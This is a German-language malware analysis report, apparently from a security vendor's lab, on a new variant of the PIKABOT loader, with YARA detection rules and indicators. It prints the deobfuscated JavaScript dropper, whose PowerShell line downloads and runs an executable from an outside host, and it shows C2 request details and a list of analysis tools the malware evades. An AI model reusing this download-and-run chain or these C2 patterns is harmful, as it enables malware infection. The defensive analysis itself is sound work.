PIKABOT, ich wähle dich!

PIKABOT auf einen Blick

PIKABOT ist ein weit verbreiteter Loader, den böswillige Akteure verwenden, um Nutzlasten wie Cobalt Strike zu verbreiten oder Ransomware zu starten. Am 8. Februar beobachtete das Team der Elastic Security Labs neue PIKABOT-Kampagnen, darunter eine aktualisierte Variante. Diese Version des PIKABOT-Loaders verwendet eine neue Entpackmethode und eine starke Verschleierung. Das Kernmodul hat eine neue Implementierung zur Entschlüsselung von Zeichenfolgen, Änderungen an der Verschleierungsfunktionalität und verschiedene andere Modifikationen hinzugefügt.

In diesem Beitrag wird die erste Kampagne vorgestellt, die neue Loader-Funktionalität aufgeschlüsselt und die Kernkomponenten überprüft. Es gibt interessante Designentscheidungen in diesem neuen Update, von denen wir glauben, dass sie der Beginn einer neuen Codebasis sind, die im Laufe der Zeit weitere Verbesserungen vornehmen wird. Obwohl die Funktionalität mit früheren Builds vergleichbar ist, haben diese neuen Updates wahrscheinlich Signaturen und vorherige Tools beschädigt.

Während der Entwicklung dieser Studie hat das ThreatLabz-Team von Zscaler großartige Analysen und Einblicke in eine Stichprobe veröffentlicht, die sich mit denen in diesem Beitrag überschneidet. Wir empfehlen, ihre Arbeit zusammen mit unserer zu lesen, um diese PIKABOT-Änderungen umfassend zu verstehen.

Wichtigste Erkenntnisse

• Neue Kampagnen mit umfangreichen Updates für den PIKABOT-Loader und die Kernkomponenten
• Der PIKABOT-Loader verwendet eine neue Entpacktechnik, bei der verstreute Blöcke verschlüsselter Daten im base64-Format aus .data Sektion kombiniert werden
• Zu den Änderungen im Kern gehören eine abgeschwächte Verschleierung und Inline-RC4-Funktionen, eine Klartextkonfiguration zur Laufzeit und die Entfernung von AES während der Netzwerkkommunikation
• Die Entwicklung von PIKABOT scheint noch in Arbeit zu sein, wobei zukünftige Updates wahrscheinlich unmittelbar bevorstehen
• Call-Stack-Transparenz mit Elastic Security bietet die Möglichkeit, Bedrohungen wie PIKABOT schnell zu sichten

Übersicht über die PIKABOT-Kampagne

Zu Beginn des neuen Jahres blieb die PIKABOT-Distribution bis vor etwa zwei Wochen inaktiv. Bei dieser neuen Kampagne vom 8. Februar ging es um E-Mails mit Hyperlinks, die zu ZIP-Archivdateien führten, die ein bösartiges, verschleiertes Javascript-Skript enthielten.

Nachfolgend finden Sie den Inhalt der verschleierten JavaScript-Datei, die die nächste Sequenz zum Herunterladen und Ausführen des PIKABOT-Loaders mit PowerShell zeigt.

// deobfuscated
var sites = ['https://gloverstech[.]com/tJWz9/', '', '']
for (var i = 0x0; i < 3; i++)
{
	var obj = new ActiveXObject("WScript.Shell")
	obj['Run']("powershell Invoke-WebRequest https://gloverstech[.]com/tJWz9/0.2343379541861872.dat -OutFile %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe; saps %SYSTEMDRIVE%\\Users\\Public\\Jrdhtjydhjf.exe")
}

PIKABOT-Lader

Lader Stufe 1

Um authentisch zu erscheinen, hat der Entwickler ein legitimes Such- und Ersetzungstool namens grepWinNP3.exe aus diesem Repository manipuliert. Die Verwendung unseres internen Sandboxing-Projekts (Detonate) und die Nutzung der Call-Stack-Funktion von Elastic Defend lieferten eine detaillierte Nachverfolgung der Ausführung, die es uns ermöglichte, den Einstiegspunkt von bösartigem Code zu lokalisieren.

Eine Analyse der Aufrufstapeldaten zeigt, dass die Ausführung bei einem Aufruf beginnt, bevor der Offset in der bösartigen Datei 0x81aa7 . Die Ausführung springt dann bei einem Aufruf vor dem Offset 0x25d84zu einer Speicherzuweisung. Darüber hinaus wurde beobachtet, dass dem Aufrufstapel für die Prozesserstellung normale Aufrufe von KernelBase.dll!CreateProcessInternalW und ntdll.dll!NtCreateUserProcessfehlen, da ein Systemaufruf über die Shellcode-Ausführung verwendet wird, der sich im nicht gesicherten Speicher befindet. Durch die Verwendung dieser Implementierung werden Benutzermodus-Hooks auf WOW64-Modulen umgangen, um EDR-Produkte zu umgehen.

Bei der Untersuchung des Offset- 0x81aa7 der bösartigen Datei und einem direkten Code-Vergleich mit einer verifizierten, gutartigen Version der grepWinNP3.exe -Datei haben wir etwas Besonderes und Ungewöhnliches identifiziert: Eine fest codierte Adresse zum Ausführen des PIKABOT-Loaders, die den Einstiegspunkt des PIKABOT-Loaders markiert.

Der bösartige Code verwendet eine starke Verschleierung, bei der auf jede Assembleranweisung ein Sprung (JMP) folgt. Dieser Ansatz erschwert die Analyse erheblich, indem er den einfachen Ablauf der Ausführung stört.

Der Loader extrahiert seine Stage- 2 -Payload aus dem .text Abschnitt, wo er in Blöcken von 0x94 Byte gespeichert wird, bevor er die Teile konsolidiert. Anschließend wird ein scheinbar benutzerdefinierter Entschlüsselungsalgorithmus verwendet, der bitweise Operationen verwendet.

Der nächste Schritt des Prozesses besteht darin, die PE-Datei innerhalb der Grenzen des aktuell ausgeführten Prozesses reflektiert zu laden. Bei dieser Technik wird der Inhalt der PE-Datei dynamisch in den Arbeitsspeicher geladen und ausgeführt, ohne dass die Datei physisch auf den Datenträger geschrieben werden muss. Diese Methode rationalisiert nicht nur den Ausführungsprozess, indem sie die Notwendigkeit externer Dateiinteraktionen eliminiert, sondern verbessert auch die Tarnung erheblich, indem sie den digitalen Fußabdruck auf dem Host-System minimiert.

Lader Stufe 2

Der Stage- 2 Loader, der mit der Initialisierung des PIKABOT-Kerns innerhalb eines neu etablierten Prozesses beauftragt ist, verwendet eine Mischung aus Code- und String-Verschleierungstechniken, die denen des Kerns selbst ähneln. Zusätzlich zu seinen Verschleierungsfunktionen enthält der Loader eine Reihe fortschrittlicher Anti-Debugging-Gegenmaßnahmen.

Anti-Debugging

Die Malware verwendet spezifische NTDLL Zw -APIs für eine Vielzahl von Operationen, einschließlich Debugger-Erkennung, Prozesserstellung und Injektion, mit dem Ziel, unter dem Radar der Erkennungsmechanismen zu bleiben und EDR (Endpoint Detection and Response) User-Land-Hooking sowie Debugging-Versuche zu umgehen.

Es führt Systemaufrufe direkt aus und umgeht herkömmliche API-Aufrufe, die anfälliger für Überwachung und Abfangen sind. Es verwendet eine Wrapper-Funktion, die die Ausführung von Systemaufrufen im 64-Bit-Modus erleichtert, die einen Hash eines Zw API-Namens als Parameter verwendet.

Die Wrapperfunktion extrahiert die Systemaufruf-ID, indem sie die geladene NTDLL analysiert und den Hash des Zw Funktionsnamens abgleicht. Nachdem die richtige Syscall-ID gefunden wurde, wird die Wow64Transition Windows-API verwendet, um den Syscall im 64-Bit-Modus auszuführen.

Beachten Sie, dass die benötigten Parameter auf den Stapel geschoben werden, bevor der Wrapper aufgerufen wird, das folgende Beispiel zeigt einen ZwQueryInformationProcess Aufruf, bei dem der ProcessInformationClass auf ProcessDebugPort(7) gesetzt ist:

Die Malware verwendet eine Reihe von Anti-Debugging-Techniken, die entwickelt wurden, um die Erkennung durch Debugging- und forensische Tools zu vereiteln. Zu diesen Techniken gehören:

• Aufrufen ZwQuerySystemInformation mit dem SystemKernelDebuggerInformation -Parameter, um das Vorhandensein von Kerneldebuggern zu erkennen.
• Beim Aufrufen von ZwQueryInformationProcess die ProcessInformationClass auf ProcessDebugPort gesetzt, um alle Debugports zu identifizieren, die dem Prozess zugeordnet sind.
• Rufen Sie ZwQueryInformationProcess erneut auf, wobei der ProcessInformationClass jedoch auf ProcessDebugFlags Parameter festgelegt ist, um festzustellen, ob der Prozess für das Debuggen gekennzeichnet wurde.
• Überprüfen Sie den Prozessumgebungsblock (PEB) auf das Flag BeingDebugged , das angibt, ob der Prozess derzeit debuggt wird.
• Verwenden von GetThreadContext zum Erkennen von Hardware-Breakpoints. Durchsuchen der Liste der derzeit ausgeführten Prozesse, um aktive Debugging- oder Forensik-Tools zu identifizieren.

Interessanterweise haben wir einen Fehler entdeckt, bei dem bei einigen der überprüften Prozessnamen das erste Byte auf Null gesetzt wurde, was auf einen Fehler des Autors der Malware oder einen unerwünschten Nebeneffekt hindeuten könnte, der vom Verschleierungstool hinzugefügt wurde. Die vollständige Liste der Prozessnamen, die überprüft werden, finden Sie am Ende dieses Artikels.

Ausführung

Der Loader füllt eine globale Variable mit den Adressen wichtiger APIs aus den NTDLL- und KERNEL32-Bibliotheken auf. Dieser Schritt ist für den Betrieb der Malware von entscheidender Bedeutung, da diese Adressen für die Ausführung nachfolgender Aufgaben erforderlich sind. Beachten Sie, dass der Loader einen eigenen API-Namenshashing-Algorithmus verwendet, der sich von dem unterscheidet, der zuvor für Zw APIs verwendet wurde.

Nachfolgend sehen Sie die rekonstruierte Struktur:

struct global_variable
{
  int debugger_detected;
  void* LdrLoadDll;
  void* LdrGetProcedureAddress;
  void* RtlAllocateHeap;
  void* RtlFreeHeap;
  void* RtlDecompressBuffer;
  void* RtlCreateProcessParametersEx;
  void* RtlDestroyProcessParameters;
  void* ExitProcess;
  void* CheckRemoteDebuggerPresent;
  void* VirtualAlloc;
  void* GetThreadContext;
  void* VirtualFree;
  void* CreateToolhelp32Snapshot;
  void* Process32FirstW;
  void* Process32NextW;
  void* ntdll_module;
  void* kernel32_dll;
  int field_48;
  uint8_t* ptr_decrypted_PIKABOT_core;
  int decrypted_PIKABOT_core_size;
  TEB* TEB;
};

Struktur des Laders

Die Malware konsolidiert dann Bytes des PIKABOT-Kerns, die im .data -Bereich verstreut sind, in base64-codierten Blöcken, was im Vergleich zu einer früheren Version, die eine Reihe von PNGs aus dem Ressourcenbereich geladen hat, bemerkenswert ist.

Es führt eine Sequenz von neun verschiedenen Funktionen aus, die jeweils ähnliche Operationen, jedoch mit unterschiedlichen Argumenten ausführen. Jede Funktion entschlüsselt einen RC4-Schlüssel mithilfe eines Inline-Prozesses, der Zeichenfolgen verwendet, die legitim erscheinen. Die Funktion dekodiert dann jeden Chunk mit Base64, bevor sie die Bytes entschlüsselt.

Nach der Konsolidierung der entschlüsselten Bytes wird die RtlDecompressBuffer -API verwendet, um sie zu dekomprimieren.

Das Ladeprogramm erstellt eine angehaltene Instanz von ctfmon.exe mithilfe des ZwCreateUserProcess syscall, einer Taktik, die entwickelt wurde, um sich als legitimer Windows-Prozess zu tarnen. Als nächstes weist es über den ZwAllocateVirtualMemory syscall einen großen Speicherbereich aus der Ferne zu, um die PE-Datei des PIKABOT-Kerns zu speichern.

Anschließend schreibt der Loader den PIKABOT-Kern mit dem ZwWriteVirtualMemory syscall in den neu belegten Speicherbereich. Anschließend leitet er den Ausführungsablauf von ctfmon.exe zum bösartigen PIKABOT-Kern um, indem er die SetContextThread API aufruft, um die Ausführungsadresse des Threads zu ändern. Schließlich wird der Thread mit ZwResumeThread syscall fortgesetzt.

PIKABOT-Kern

Das Gesamtverhalten und die Funktionalität des aktualisierten PIKABOT-Kerns ähneln denen früherer Versionen: Der Bot sammelt erste Daten vom Opfercomputer und bietet dem Bedrohungsakteur Befehls- und Kontrollzugriff, um Verhalten nach der Kompromittierung zu ermöglichen, wie z. B. Befehlszeilenausführung, Erkennung oder das Starten zusätzlicher Nutzlasten durch Injektion.

Zu den bemerkenswerten Unterschieden gehören:

• Neue Art der Verschleierung mit weniger Inline-Funktionen
• Mehrere Implementierungen zum Entschlüsseln von Zeichenfolgen
• Klartextkonfiguration zur Laufzeit, Entfernung des JSON-Formats
• Netzwerkkommunikation verwendet RC4 plus Byte-Swapping, Entfernung von AES

Verdunkelung

Einer der offensichtlichsten Unterschiede dreht sich um die Verschleierung von PIKABOT. Diese Version enthält eine drastisch weniger verschleierte Binärdatei, vermittelt aber ein vertrautes Gefühl für ältere Versionen. Statt einer Flut von Inline-RC4-Funktionen sind nach dem neuen Update nur noch wenige übrig. Leider gibt es immer noch eine große Menge an Verschleierung, die auf globale Variablen und Junk-Anweisungen angewendet wird.

Im Folgenden finden Sie ein typisches Beispiel für Junk-Code, der zwischen den eigentlichen Malware-Code eingefügt wird, nur um die Analysezeit zu verlängern und Verwirrung zu stiften.

String-Entschlüsselung

Wie bereits erwähnt, gibt es immer noch einige Inline-RC4-Funktionen, die zum Entschlüsseln von Zeichenketten verwendet werden. In früheren Versionen verwendete der Kern die Base64-Codierung als zusätzlichen Schritt in Kombination mit der Verwendung von AES und RC4, um die Zeichenfolgen zu verschleiern. In dieser Kernversion haben wir keine Base64-Codierung oder AES für die Entschlüsselung von Zeichenfolgen gesehen.

Hier sehen Sie eine Instanz einer verbleibenden Inline-RC4-Funktion, die zum Entschlüsseln des hartcodierten Mutex verwendet wird. In dieser Version setzt PIKABOT seine markentypische Verwendung von legitimen Zeichenketten als RC4-Schlüssel zur Entschlüsselung von Daten fort.

In dieser neuen Version enthält PIKABOT eine andere Implementierung für die String-Verschleierung, indem es Stack-Strings verwendet und einzelne Zeichen in einer zufälligen Reihenfolge in ein Array einfügt. Nachfolgend finden Sie ein Beispiel für die Verwendung von netapi32.dll:

Anti-Debugging

In Bezug auf das Anti-Debugging überprüft PIKABOT in dieser Version die BeingDebuggedFlag im PEB zusammen mit CheckRemoteDebuggerPresent. In unserem Beispiel wird ein hartcodierter Wert (0x2500) zurückgegeben, wenn ein Debugger angefügt ist. Diese Überprüfungen befinden sich leider nicht an einem einzigen Ort, sondern an verschiedenen Stellen in der Binärdatei, zum Beispiel kurz bevor Netzwerkanfragen gestellt werden.

Ausführung

In Bezug auf die Ausführung und das allgemeine Verhalten orientiert sich der Kern von PIKABOT eng an den Ausführungsablauf älterer Versionen. Nach der Ausführung analysiert PIKABOT das PEB und verwendet API-Hashing, um die benötigten Bibliotheken zur Laufzeit aufzulösen. Als Nächstes validiert es den Computer des Opfers, indem es die Sprachkennung mit GetUserDefaultLangIDüberprüft. Wenn die LangID auf Russisch (0x419) oder Ukrainisch (0x422) eingestellt ist, stoppt die Malware sofort ihre Ausführung.

Nach der Sprachprüfung erstellt PIKABOT einen Mutex, um eine erneute Infektion auf demselben Rechner zu verhindern. In unserem Beispiel wurde der folgende Mutex verwendet: {6F70D3AF-34EF-433C-A803-E83654F6FD7C}

Als Nächstes generiert die Malware eine UUID vom Opfercomputer unter Verwendung der Systemvolume-Nummer in Kombination mit dem Hostnamen und dem Benutzernamen. PIKABOT generiert dann einen eindeutigen RC4-Schlüssel, der von RtlRandomEx geseedet wird, und platziert den Schlüssel dann in der Konfigurationsstruktur, um ihn später während der Netzwerkkommunikation zu verwenden.

Erstkollektion

Die nächste Phase besteht darin, Informationen über den Computer des Opfers zu sammeln und die Daten in eine benutzerdefinierte Struktur zu bringen, die dann verschlüsselt und nach der ersten Check-in-Anfrage gesendet wird. Die folgenden Aktionen werden verwendet, um Fingerabdrücke zu erstellen und das Opfer und sein Netzwerk zu identifizieren:

• Ruft den Namen des Benutzers ab, der mit dem PIKABOT-Thread verknüpft ist
• Ruft den Computernamen ab
• Ruft Prozessorinformationen ab
• Erfasst Anzeigegeräteinformationen mit EnumDisplayDevicesW
• Ruft Domänencontrollerinformationen mit DsGetDcNameW
• Erfasst die aktuelle Auslastung des physischen und virtuellen Speichers mit GlobalMemoryStatusEx
• Ruft die Fensterdimensionen mithilfe von GetWindowRect ab, die zum Identifizieren von Sandbox-Umgebungen verwendet werden
• Ruft Produktinformationen des Windows-Betriebssystems mit RtlGetVersion
• Verwendet CreateToolhelp32Snapshot zum Abrufen von Prozessinformationen

Config

Eine seltsame Entwicklungsentscheidung in dieser neuen Version betrifft die Malware-Konfiguration. Zur Laufzeit befindet sich die Konfiguration im Klartext und an einer Stelle im Speicher. Dies wird schließlich im Speicher gelöscht. Wir gehen davon aus, dass dies nur vorübergehend von Dauer sein wird, da frühere Versionen die Konfiguration geschützt haben und dies zu einer Standarderwartung geworden ist, wenn es um weit verbreitete Malware-Familien geht.

Netzwerk

PIKABOT führt die Netzwerkkommunikation über HTTPS auf nicht-traditionellen Ports (2967, 2223 usw.) mit User-Agent Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro)durch. Die Build-Nummer des PIKABOT-Core-Moduls ist aus der Konfiguration miteinander verkettet und wird in den verschlüsselten Netzwerkanfragen übergeben, die von uns analysierte Version ist als 1.8.32-betagekennzeichnet.

Bei dieser ersten Check-in-Anfrage an den C2-Server registriert PIKABOT den Bot und sendet die zuvor gesammelten Informationen verschlüsselt mit RC4. Der RC4-Schlüssel wird in diesem ersten Paket mit Offset (0x10) gesendet. Wie bereits erwähnt, verwendet PIKABOT kein AES mehr in seiner Netzwerkkommunikation.

POST https://158.220.80.167:2967/api/admin.teams.settings.setIcon HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
User-Agent: Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro)
Content-Length: 6778
Host: 158.220.80.167:2967

00001a7600001291000016870000000cbed67c4482a40ad2fc20924a06f614a40256fca898d6d2e88eecc638048874a8524d73037ab3b003be6453b7d3971ef2d449e3edf6c04a9b8a97e149a614ebd34843448608687698bae262d662b73bb316692e52e5840c51a0bad86e33c6f8926eb850c2...

PIKABOT Erst-Check-in-Anfrage

Für jede ausgehende Netzwerkanfrage wählt PIKABOT nach dem Zufallsprinzip eine der folgenden URI's:

/api/admin.conversations.convertToPrivate
/api/admin.conversations.getConversationPrefs
/api/admin.conversations.restrictAccess.removeGroup
/api/admin.emoji.add
/api/admin.emoji.addAlias
/api/admin.emoji.list
/api/admin.inviteRequests.approved.list
/api/admin.teams.admins.list
/api/admin.teams.settings.setIcon
/api/admin.usergroups.addTeams
/api/admin.users.session.reset
/api/apps.permissions.users.list

Liste der URIs, die in PIKABOT C2-Anfragen verwendet werden

Im Gegensatz zu früheren Versionen, in denen die Opferdaten in einem strukturierten Format mit JSON platziert wurden, handelt es sich bei den Daten in diesen Anfragen um Rohbytes. Die ersten 16 Bytes werden verwendet, um bestimmte Konfigurationsinformationen (Bot-Befehls-ID, Byte-Verschiebung usw.) zu übergeben. Die nächsten 32 Bytes betten den RC4-Schlüssel für die Sitzung ein, wobei dann die verschlüsselten Daten in der Anforderung verfolgt werden.

Es gibt eine zusätzliche Transformation, bei der die Entwickler eine zufällige Verschiebung von Bytes hinzugefügt haben, die zur Laufzeit erfolgt. Diese Zahl (0x18) am Offset (0xF) in der folgenden Beispielanforderung stellt die Anzahl der Bytes dar, die vom Ende der verschlüsselten Daten an den Anfang der verschlüsselten Daten verschoben werden sollen. In unserem Beispiel müssten die letzten 18 Bytes vor Bytes (0xDA 0x9E) gesetzt werden, um die Daten erfolgreich zu entschlüsseln.

Bot-Funktionalität

In Bezug auf die Kernfunktionalität des Bots ähnelt sie früheren Versionen: Ausführen von Befehlen, Durchführen von Erkennung sowie Prozessinjektionsfunktionen. Aus unserer Perspektive scheint es immer noch sehr nach einem Work in Progress zu sein. Eine Befehls-ID (0x982) ist eine leere Funktion, in einem anderen Fall gibt es drei eindeutige Befehls-IDs, die auf dieselbe Funktion verweisen. Diese deuten darauf hin, dass diese Software noch nicht ganz vollständig ist.

Malware und MITRE ATT&CK

Elastic verwendet das MITRE ATT&CK-Framework , um gängige Taktiken, Techniken und Verfahren zu dokumentieren, die von Advanced Persistent Threats gegen Unternehmensnetzwerke eingesetzt werden.

Taktiken

Taktiken stellen das Warum einer Technik oder Untertechnik dar. Es ist das taktische Ziel des Gegners: der Grund für die Ausführung einer Aktion.

• Erstzugriff
• Ausführung
• Tarnung
• Discovery
• Command and Control
• Exfiltration

Techniken

Techniken stellen dar, wie ein Angreifer ein taktisches Ziel erreicht, indem er eine Aktion ausführt.

• Phishing
• Benutzerausführung: Bösartiger Link
• Reflektierendes Laden von Codes
• Erkennung von Systeminformationen
• Prozessinjektion
• Verschlüsselter Kanal

Erkennung von Malware

Verhütung

• Netzwerkmodul aus verdächtigem, nicht gesichertem Speicher geladen
• Shellcode-Ausführung vom Low Reputation Module
• Verdächtiger Speicherschreibvorgang in einen Remoteprozess
• Verdächtige Remote-Speicherzuweisung
• Prozesserstellung mit ungewöhnlicher Risikominderung
• Windows.Trojan.PikaBot

YARA

Elastic Security hat YARA-Regeln erstellt, um diese Aktivität zu identifizieren. Im Folgenden finden Sie YARA-Regeln zur Identifizierung von PIKABOT:

rule Windows_Trojan_Pikabot_5441f511 {
    meta:
        author = "Elastic Security"
        creation_date = "2024-02-15"
        last_modified = "2024-02-15"
        license = "Elastic License v2"
        description = "Related to PIKABOT core"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.PIKABOT"

    strings:
        $handler_table = { 72 26 [6] 6F 24 [6] CB 0A [6] 6C 03 [6] 92 07 }
        $api_hashing = { 3C 60 76 ?? 83 E8 20 8B 0D ?? ?? ?? ?? 6B FF 21 }
        $debug_check = { A1 ?? ?? ?? ?? FF 50 ?? 50 50 80 7E ?? 01 74 ?? 83 7D ?? 00 75 ?? }
        $checksum = { 55 89 E5 8B 55 08 69 02 E1 10 00 00 05 38 15 00 00 89 02 5D C3 }
        $load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
        $read_xbyte_config = { 8B 43 04 8B 55 F4 B9 FC FF FF FF 83 C0 04 29 D1 01 4B 0C 8D 0C 10 89 4B 04 85 F6 ?? ?? 89 16 89 C3 }
    condition:
        2 of them
}

rule Windows_Trojan_Pikabot_95db8b5a {
    meta:
        author = "Elastic Security"
        creation_date = "2024-02-15"
        last_modified = "2024-02-15"
        license = "Elastic License v2"
        description = "Related to PIKABOT loader"
        os = "Windows"
        arch = "x86"
        threat_name = "Windows.Trojan.PIKABOT"

    strings:
        $syscall_ZwQueryInfoProcess = { 68 9B 8B 16 88 E8 73 FF FF FF }
        $syscall_ZwCreateUserProcess = { 68 B2 CE 2E CF E8 5F FF FF FF }
        $load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
        $payload_chunking = { 8A 84 35 ?? ?? ?? ?? 8A 95 ?? ?? ?? ?? 88 84 1D ?? ?? ?? ?? 88 94 35 ?? ?? ?? ?? 02 94 1D ?? ?? ?? ?? }
        $loader_rc4_decrypt_chunk = { F7 FF 8A 84 15 ?? ?? ?? ?? 89 D1 8A 94 1D ?? ?? ?? ?? 88 94 0D ?? ?? ?? ?? 8B 55 08 88 84 1D ?? ?? ?? ?? 02 84 0D ?? ?? ?? ?? 0F B6 C0 8A 84 05 ?? ?? ?? ?? 32 04 32 }
    condition:
        2 of them
}

Beobachtungen

Alle Observables stehen auch im ECS- und STIX-Format zum Download zur Verfügung.

Die folgenden Observablen wurden in dieser Studie diskutiert.

Referenzen

In der obigen Studie wurde auf Folgendes Bezug genommen:

• https://www.zscaler.com/blogs/security-research/d-evolution-PIKABOT
• https://x.com/Cryptolaemus1/status/1755655639370514595?s=20

Anhang

Process Name Checks
tcpview.exe
filemon.exe
autoruns.exe
autorunsc.exe
ProcessHacker.exe
procmon.exe
procexp.exe
idaq.exe
regmon.exe
idaq64.exe


x32dbg.exe
x64dbg.exe
Fiddler.exe
httpdebugger.exe
cheatengine-i386.exe
cheatengine-x86_64.exe
cheatengine-x86_64-SSE4-AVX2.exe


PETools.exe
LordPE.exe
SysInspector.exe
proc_analyzer.exe
sysAnalyzer.exe
sniff_hit.exe
windbg.exe
joeboxcontrol.exe
joeboxserver.exe
ResourceHacker.exe


ImmunityDebugger.exe
Wireshark.exe
dumpcap.exe
HookExplorer.exe
ImportREC.exe